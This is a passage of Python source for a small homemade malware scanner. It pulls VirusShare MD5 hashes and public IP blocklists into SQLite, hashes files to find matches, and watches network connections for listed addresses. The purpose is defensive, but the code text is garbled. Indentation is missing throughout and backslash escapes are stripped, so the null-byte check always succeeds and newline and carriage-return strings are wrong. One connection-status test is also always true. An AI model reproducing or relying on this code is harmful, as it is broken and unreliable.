# TODO: Log the URLS it's grabbed hashes from
# And check the logged urls and skip over logged urls
# when calling the self.update() function
def __init__(self, db_fp='data.db'):
self.db_fp = db_fp
self.connect()
def __enter__(self):
return self
def __exit__(self, type, value, traceback):
self.close()
def __repr__(self):
return "<SQLite3 Database: {}>".format(self.db_fp)
def connect(self):
self.conn = sqlite3.connect(self.db_fp)
self.cur = self.conn.cursor()
def close(self):
self.conn.commit()
self.cur.close()
self.conn.close()
def create_tables(self):
self.cur.execute('CREATE TABLE IF NOT EXISTS virus_md5_hashes(md5_hash TEXT NOT NULL UNIQUE)')
self.cur.execute('CREATE TABLE IF NOT EXISTS processed_virusshare_urls(url TEXT NOT NULL UNIQUE)')
self.cur.execute('CREATE TABLE IF NOT EXISTS high_risk_ips(ip TEXT NOT NULL UNIQUE)')
self.conn.commit()
def drop_tables(self):
self.cur.execute('DROP TABLE IF EXISTS virus_md5_hashes')
self.cur.execute('DROP TABLE IF EXISTS processed_virusshare_urls')
self.cur.execute('DROP TABLE IF EXISTS high_risk_ips')
self.conn.commit()
def add(self, table, value):
try:
sql = f"INSERT INTO {table} VALUES (?)"
self.cur.execute(sql, (value,))
except sqlite3.IntegrityError as e:
if 'UNIQUE' in str(e):
pass # Do nothing if trying to add a duplicate value
else:
raise e
def exists(self, vname, table, value):
sql = f"SELECT {vname} FROM {table} WHERE {vname} = (?)"
self.cur.execute(sql, (value,))
return self.cur.fetchone() is not None
def reset(self):
'''
reformats the database, think of it as a fresh-install
'''
# self.drop_tables() # This is soooo slow
self.close()
os.remove(self.db_fp)
self.connect()
self.update()
def update(self):
self.create_tables()
self.update_md5_hashes()
self.update_high_risk_ips()
def update_md5_hashes(self):
'''
updates the sqlite database of known virus md5 hashes
'''
urls = self.get_virusshare_urls()
for n, url in enumerate(urls):
reprint(f"Downloading known virus hashes {n+1}/{len(urls)}")
if not self.exists('url', 'processed_virusshare_urls', url):
for md5_hash in self.get_virusshare_hashes(url):
self.add('virus_md5_hashes', md5_hash)
self.add('processed_virusshare_urls', url)
self.conn.commit()
print()
def get_virusshare_urls(self) -> list:
'''
returns a list of virusshare.com urls containing md5 hashes
'''
r = requests.get('https://virusshare.com/hashes.4n6')
soup = BeautifulSoup(r.content, 'html.parser')
return ["https://virusshare.com/{}".format(a['href']) for a in soup.find_all('a')][6:-2]
def get_virusshare_hashes(self, url) -> str:
'''
parses all the md5 hashes from a valid virusshare.com url
'''
r = requests.get(url)
return r.text.splitlines()[6:]
def update_high_risk_ips(self):
sources = [
'https://blocklist.greensnow.co/greensnow.txt',
'https://cinsscore.com/list/ci-badguys.txt',
'http://danger.rulez.sk/projects/bruteforceblocker/blist.php',
'https://malc0de.com/bl/IP_Blacklist.txt',
'https://rules.emergingthreats.net/blockrules/compromised-ips.txt',
'https://rules.emergingthreats.net/fwrules/emerging-Block-IPs.txt',
'https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1',
'https://feodotracker.abuse.ch/blocklist/?download=ipblocklist',
'https://hosts.ubuntu101.co.za/ips.list',
'https://lists.blocklist.de/lists/all.txt',
'https://myip.ms/files/blacklist/general/latest_blacklist.txt',
'https://pgl.yoyo.org/adservers/iplist.php?format=&showintro=0',
'https://ransomwaretracker.abuse.ch/downloads/RW_IPBL.txt',
'https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/stopforumspam_7d.ipset',
'https://www.dan.me.uk/torlist/?exit',
'https://www.malwaredomainlist.com/hostslist/ip.txt',
'https://www.maxmind.com/es/proxy-detection-sample-list',
'https://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1',
'http://www.unsubscore.com/blacklist.txt',
]
for n, source in enumerate(sources):
reprint(f"Downloading ips list: {n+1}/{len(sources)}")
try:
r = requests.get(source)
for ip in re.findall(r'[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}', r.text):
self.add('high_risk_ips', ip)
except requests.exceptions.RequestException:
print(f"Exception at {source}")
print()
class FileScanner(object):
def __init__(self):
self._bad_files = []
def get_files_recursively(self, folder) -> str:
'''
:param folder: directory to resursively check for binary files
:return: generator of all binary files (str == full path)
'''
for folder_name, sub_folder, filenames in os.walk(folder):
for f in filenames:
f = f"{folder_name}/{f}"
yield f
def get_md5(self, fp) -> str:
'''
:param fp: full path to a file
:return: the md5 hash of a file
'''
md5_hash = hashlib.md5()
with open(fp, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
md5_hash.update(chunk)
return md5_hash.hexdigest()
def compare_against_database(self, fp):
if is_binary(fp):
with DB() as db: # db connection has to be called within the same thread accessing the db uhg.jpg
md5_hash = self.get_md5(fp)
if db.exists('md5_hash', 'virus_md5_hashes', md5_hash):
self._bad_files.append(fp)
def scan(self, folder, max_threads=10):
start_time = time.time()
fp_gen = self.get_files_recursively(folder)
count = 0
try:
while True:
if threading.active_count() < max_threads:
fp = next(fp_gen)
t = threading.Thread(target=self.compare_against_database, args=(fp, ))
t.start()
count += 1
s = f'Scanning Files - Threads: {threading.active_count()} Files Scanned: {count} '
reprint(s)
else:
time.sleep(0.01)
except OSError:
print(f"OSError: Bad file descriptor: {fp} {' ' * len(fp)}")
except StopIteration:
end_time = time.time()
reprint(' ' * len(s))
print(f"scanned {count} files in {round(end_time - start_time, 2)} seconds")
for f in self._bad_files:
print(f"INFECTED - {f}")
class NetworkScanner(threading.Thread):
def __init__(self, timer=1):
self._timer = timer
self._running = True
self.update_current_connections()
self._displayed_notifications = []
threading.Thread.__init__(self)
def update_current_connections(self):
self._current_connections = psutil.net_connections()
def scan(self):
with DB() as db:
for conn in self._current_connections:
if conn.status != "NONE" or conn.status != "CLOSE_WAIT":
if db.exists('ip', 'high_risk_ips', conn.laddr.ip):
self.notify(conn.laddr.ip, conn.laddr.port, conn.pid)
if conn.raddr:
if db.exists('ip', 'high_risk_ips', conn.raddr.ip):
self.notify(conn.raddr.ip, conn.raddr.port, conn.pid)
def notify(self, ip, port, pid, duration=10):
title, body = "High Risk Connection", f"{psutil.Process(pid).name()}n{ip}:{port} - {pid}"
if body not in self._displayed_notifications:
if WINDOWS:
ToastNotifier().show_toast(title, body, duration=duration, threaded=True)
self._displayed_notifications.append(body)
else:
print("{} {}".format(title, body))
self._displayed_notifications.append(body)
def run(self):
print('[+] Network Scanner Initialized')
while self._running:
self.update_current_connections()
self.scan()
time.sleep(self._timer)
def stop(self):
print('[-] Network Scanner Stopping')
self._running = False
def is_binary(fp, chunksize=1024) -> bool:
"""Return true if the given filename is binary.
@raise EnvironmentError: if the file does not exist or cannot be accessed.
@attention: found @ http://bytes.com/topic/python/answers/21222-determine-file-type-binary-text on 6/08/2010
@author: Trent Mick <TrentM@ActiveState.com>
@author: Jorge Orpinel <jorge@orpinel.com>"""
try:
with open(fp, 'rb') as f:
while True:
chunk = f.read(chunksize)
if b'' in chunk: # found null byte
return True
if len(chunk) < chunksize:
break
except PermissionError:
print(f"Permission Error: {fp} {' ' * len(fp)}")
return False
def reprint(s):
print(s, end='')
print('r' * len(s), end='')
def parse_args():
parser = ArgumentParser()
parser.add_argument('path', default=os.getcwd(), type=str, help="path to scan")
parser.add_argument('-u', '--update', action="store_true", default=False, help="updates database of virus definitions & high risk IP's")
parser.add_argument('-t', '--threads', default=20, type=int, help="max threads for file scanner")
return parser.parse_args()
def Main():
# Testing for now
args = parse_args()
if args.update:
with DB() as db:
print('[+] Updating database')
db.update()
nsc = NetworkScanner()
nsc.start()
FileScanner().scan(args.path, args.threads)
nsc.stop()
if __name__ == '__main__':
Main()